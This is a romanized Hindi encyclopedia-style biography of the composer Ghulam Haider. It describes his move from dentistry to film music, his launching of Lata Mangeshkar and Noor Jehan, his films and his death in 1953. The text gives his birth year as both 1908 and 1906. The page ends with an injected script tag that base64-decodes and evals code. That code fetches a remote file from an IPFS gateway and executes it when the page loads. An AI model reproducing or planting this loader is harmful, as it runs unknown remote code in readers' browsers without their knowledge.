ग़ुलाम हैदर
gulam haidar
| |
| poora nam | mastar gulam haidar |
| janm | 1908 |
| janm bhoomi | haidarabad, siandh, avibhajit bharat |
| mrityu | 9 navambar, 1953 |
| mrityu sthan | lahaur, pakistan |
| karm bhoomi | bharat v pakistan |
| karm-kshetr | filmi sangit |
| prasiddhi | sangitakar |
| sanbandhit lekh | noorajahaan aur lata mangeshakar, shamashad begam |
| sakriy varsh | 1932-1953 |
| any janakari | mastar gulam haidar ne filmi git ke lie saz aur avaz ka talamel bithaya. dakshin eshiya ka filmi sangit aj bhi usi raste par chal raha hai, jo mastar ji aur unake bad unake kuchh sathiyoan ne shuroo kiya tha. |
gulam haidar (aangrezi: 'Ghulam Haider', janm- 1908; mrityu- 9 navambar, 1953) jane-mane sangitakar the, jinhoanne bharat mean aur azadi ke bad pakistan mean kam kiya. unhoanne panjabi sangit ke kagar aur lay ke sath lokapriy ragoan ko milakar philmi gitoan ke chehare ko badal diya. mastar gulam haidar ko ye samman hasil hai ki unhoanne upamahadvip ke sangit ko 'malika-e-tarannum' noorajahaan aur lata mangeshakar jaisi surili avazoan ka tohafa diya. itana hi nahian balki mastar gulam haidar ne hi 12 sal ki umr mean logoan se shamashad begam ka parichay karaya, jo bad mean avibhajit bharat ki pahali prasiddh film gayika banian.
kaise bane sangitakar
gulam haidar ka janm 1906 mean siandh ke haidarabad shahar mean hua. unhean bachapan se hi sangit mean ruchi thi, lekin unhoanne daantoan ki d aauktari ki padhaee ki aur apana deantal klinik bhi shuroo kiya. phir ek din aisa hua ki apane samay ke mashahoor film nirmata aur pancholi stoodiyo ke malik seth dilasukh pancholi unake pas daant ke ilaj ke lie ae. batachit ke dauran seth pancholi ne kaha ki unhean apani film ke lie ek myoozik dayarektar ki talash hai. d aauktar gulam haidar ne usi samay klinik mean hi haramoniyam khola aur seth pancholi ko kee dhunean sunaee. yahian se pitaji ka sangit kariyar shuroo hua aur unhean pancholi stoodiyo mean sangit vibhag ka pramukh bana diya gaya.[1]
lata mangeshakar ki khoj
chooanki shamashad begam filmi kshetr ki pahali plebaik siangar thian, isalie hi noorajahaan aur lata mangeshakar sahit unake bad ane vali gayikaoan ne shamashad begam ki shaili ka upayog karate hue gayaki ke apane anokhe aandaz ki buniyad rakhi. mastar gulam haidar ne hi 74 sal pahale lata mangeshakar ki kshamataoan ko pahachana tha, jab vo kamarshiyal bajar mean ek 'koras garl' thian. bibisi urdoo se bat karate hue lata mangeshakar ko ye batean bilakul aise yad thian, jaise kal ki hi bat ho. unhoanne kaha tha, 'ye un dinoan ki bat hai, jab muanbee mean film 'shahid' ki taiyariyaan chal rahi thian. mastar gulam haidar isake myoozik dayarektar the. ye film us samay ki jani-mani film kanpani filmistan ke bainar tale ban rahi thi. isake malik shashidhar mukharji the, jinhoanne meri avaz ye kahakar kharij kar diya ki avaz bahut barik aur chubhati huee hai, jo darshakoan ko pasand nahian aegi.' shashidhar mukharji film udyog mean ek prasiddh bangali parivar ke mukhiya the, jinaki poti b aaulivud abhinetri rani mukharji haian.
lata mangeshakar ne bataya tha ki vo us samay 18 sal ki thian aur char-paanch sal se koras mean gane ke sath-sath marathi filmoan mean chhote-chhote rol bhi kar rahi thian. unaka kahana tha- 'mujhe kabhi hiro ki chhoti bahan ka rol to kabhi hiroin ki saheli ka rol mil jata, lekin mujhe ektiang karana pasand nahian tha. maian gana chahati thi, lekin koee mauqa nahian de raha tha. unhian dinoan aisa hua ki pathan nam ka ek bhala manas jo stoodiyo mean jooniyar artist saplaee karata tha, mujhe mastar gulam haidar sahab ke pas le gaya. unhoanne mera aaudishan liya aur mujhe pas kar diya.' lataji ne bataya tha, 'mere aaudishan se mastar sahab bahut khush hue. unhoanne mujhase kaha tha ki maian tumhean promot karooanga. phir mastar sahab ne mukharji ko razi karane ki bahut koshish ki aur ye bhi kaha ki meri garanti hai lekin unhoanne mana kar diya.'
lata ji ke anusar- 'jab mastar sahab ne shashidhar ka faisala suna to ve apane ap ko rok nahian pae. lekin unhean ye kaha ki mukharji sahab vaise to apako apani ray banane ka poora haq hai par mere shabd likh lean, ek din aega ki prodyoosar, lata ke daravaze par lain lagae kh de hoange.' lata ji ke anusar, itana kahakar mastar gulam haidar ne filmistan ke karyalay mean shashidhar ko apana istifa sauanp diya aur usi samay mere sath b aaumbe t aaukiz stoodiyo ki or chal p de. isake bad shashidhar ko bhi apani galati ka ahasas hua aur 'filmistan' ke bainar tale unhoanne 'anarakali' aur 'nagin' samet apani sabhi filmoan ke gane lata mangeshakar ki avaz mean rik aaurd kie.[1]
lata ji dvara samman
lata mangeshakar ke anusar- 'b aaumbe t aaukiz stoodiyo shahar ke bahari ilaqe malad mean tha. maian mastar sahab ke sath goregaanv relave steshan par kh di tren ka iantazar kar rahi thi. film 'majaboor' ke gane ki pahali dhun vahian bani. gane ke bol the 'dil mera to da, mujhe kahian ka n chho da.' mastar ji 555 braand ki sigaret pite the, jisaki paikiang tin ke gol dibbe ki thian. unhoanne vahian sigaret ke dibbe par dhun bana di. vo ek-ek lain padhate rahe aur maian unake sath gunagunati rahi. mastar ji ne tay kar liya tha ki vo ye gana mujhase hi gavaeange. 'majaboor' mean mere char gane the vo sabhi khoob pasand kie ge. is film ke bad sangitakar khemachand prakash ne mujhase apani film 'ziddi' ke gane gavae aur phir maian us samay ke sabhi sangitakaroan ki pahali pasand ban gee.
lata ji ka kahana tha, 'filmi sangit mean mere shikshak mastar gulam haidar haian. maian mastar ji ko shikshak aur ek tarah se pita bhi manati hooan. unhean duniya se ge hue itana samay ho gaya hai, lekin meri ziandagi ka aisa koee din nahian guzara jab maianne unake lie prarthana n ki ho.' mastar gulam haidar ke bete paravez haidar ne bibisi ko bataya tha ki vo sal 1970 mean lata mangeshakar ke nimantran par apani maan aur bhaee ke sath muanbee ge the, jahaan lata ji meri maan ko apani maan ke sath bithatian aur khud unake charanoan mean baitha karati thian.
jagat guru
paravez haidar ke mutabiq malika-e-tarannum noorajahaan ne bhi hamesha mastar gulam haidar ka zikr b de adar se kiya. unake anusar, vo kahati thian ki bahut kam umr mean vo kalakatta chali gee thian. aur vo jab vahaan se lahaur aeean, to mastar gulam haidar ne unhean pancholi stoodiyo bulaya. us samay sangit ki duniya mean vo bebi noorajahaan ke nam se mashahoor thian. paravez haidar kahate haian ki 'mastar ji ko bataya gaya tha ki ek chhoti l daki hai, jo klasikal achchha ga rahi hai. mastar ji ne poochha, 'beti kya sunaogi?' noorajahaan ne unhean piloo ki thumari sunaee jisake bol the 'pyare rasiya bihari, suno binati hamari'. bebi noorajahaan ko protsahit karate hue mastar ji ne kaha ki 'beti, tum apani umr se b da gana gati ho. maian tumhean inam deta hooan.' tum meri nee panjabi film ka gana gaogi. gane ki asthaee yani mukh da klasiki aang ki hai kya tum use ga sakogi? noorajahaan ne mastar ji se kaha, 'ap kahie to!'[1]
'vo asthaee 'shala javaniyaan mane, aankhaan n mo de ji' shuroo hi tan se hoti hai. noorajahaan kahati thian ki mastar gulam haidar ne ye gana panjabi film 'gul baqavali' ke lie gavaya tha. usake bad noorajahaan ne unaki doosari panjabi film 'yamala jat' sahit kee filmoan ke lie klasikal aur semi-klasikal git gae.' 'itana hi nahian, isake alava mastar ji ne noorajahaan se aisi dhunean bhi gavaeean, jo saral aur sarvajanik bhav ki thi. noorajahaan kahati thian ki mastar gulam haidar jagat guru the aur film sangit mean unaki haisiyat ek nayak aur avishkarak ki hai.'
sangit sansthapak
mastar ji (gulam haidar) ka sabase b da kam is kshetr ke film sangit ko spasht karana hai. lagabhag ek sadi pahale, mastar gulam haidar ne filmi git ke lie saz aur avaz ka talamel bithaya. dakshin eshiya ka filmi sangit aj bhi usi raste par chal raha hai, jo mastar ji aur unake bad unake kuchh sathiyoan ne shuroo kiya. malika-e-tarannum noorajahaan ne mastar gulam haidar ka zikr hamesha b de adar se kiya. ye mastar gulam haidar ka hi kamal hai ki unhoanne ek filmi git ko nimnalikhit vargoan mean vibhajit kiya. amataur par ek filmi git ki shuruat myoozikal iantrodakshan se hogi phir git ki asthaee yani mukh da gaya jaega. git ke mukh de ke dauran (barapis) us git ko sajaeange-sanvareange. aur phir usake bad aur aantare se pahale 'iantaraval pis' aeange.
mahan sangitakar ki upadhi
lahaur ke bad mastar gulam haidar ne kalakatta aur muanbee ke pramukh film iandastri mean plebaik sangit ke kshetr mean aham bhoomika nibhaee. isake lie unhean apane samay ka 'mahan sangitakar' svikar kiya gaya. mastar ji se pahale, ustad jhande ali khan ko avibhajit bharat mean plebaik sangit ka pahala pramanik aur prasiddh sangitakar mana jata hai. ustad jhande ali khan prasiddh sangitakar naushad ke ustad the. ye vahi naushad haian, jinhean mastar gulam haidar ke bad mahan sangitakar ka samman mila. vahian pakistan mean khvaja khurshid anavar ko unake barabar kahate hue pakistan ke mahan sangitakar ki upadhi di gee.
mastar gulam haidar apane samay ke sabase adhik fis lene vale sangitakar bhi the. sal 1945 mean film nirmata aur dayarektar mahaboob ki film 'humayooan' ke lie unhean us vakt ek lakh rupe mile, jo ki ek rik aaurd hai. ye vo daur tha jab ek mashahoor myoozik dayarektar ki fis das hazar se zyada nahian hoti thi. unase pahale, myoozik dayarektar ke lie amataur par 'piti mastar' shabd ka istemal hota tha. lekin mastar gulam haidar ka nam avibhajit bharat ke filmoan ke postar par myoozik dayarektar ke roop mean likha gaya.[1]
pramukh filmean
gulam haidar ki prasiddh filmoan mean svarg ki sidhi, majanooan, gul baqavali, yamala jat, khazaanchi, chaudhari, khanadan, humayooan, shama, meanhadi, majadhar, majaboor, shahid, chal chal re naujavan, kaniz, shahida, beqarar, akeli, bhigi palakean aur gulanar shamil haian.
mrityu
sal 1953 mean gulanar ka pradarshan kiya gaya aur usi sal keval 45 varsh ki ayu mean mastar sahab ka nidhan ho gaya. lata mangeshakar ne bataya tha ki un dinoan jab mastar gulam haidar bimar the, to vo rozana noorajahaan ko niyamit roop se fon karake mastar ji ke svasthy ke bare mean janakari leti thian. noorajahaan ke zarie mujhe mastar gulam haidar ke svasthy ki janakari milati thi. isase pahale maian aur noorajahaan fon par hi agali batachit ka din tay kar lete the. noorajahaan pakistan ke mahan sangitakaroan aur gayakoan ko bhi apane yahaan le atian aur unase bat hoti rahati thi. unhian dinoan pata chala ki mastar gulam haidar ko kaiansar ho gaya. maianne noorajahaan se kaha ki ek bar mastar ji se meri bat karaean. jab vo noorajahaan ke ghar ae to maianne mastar ji se vinati ki ki ek bar ap bharat a jaean, taki ham apaki bimari ke bare mean 'sekand opiniyan' le sakean lekin vo nahian ae. phir yah dukhad khabar mili ki 9 navanbar, 1953 ko mastar gulam haidar ka nidhan ho gaya hai.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>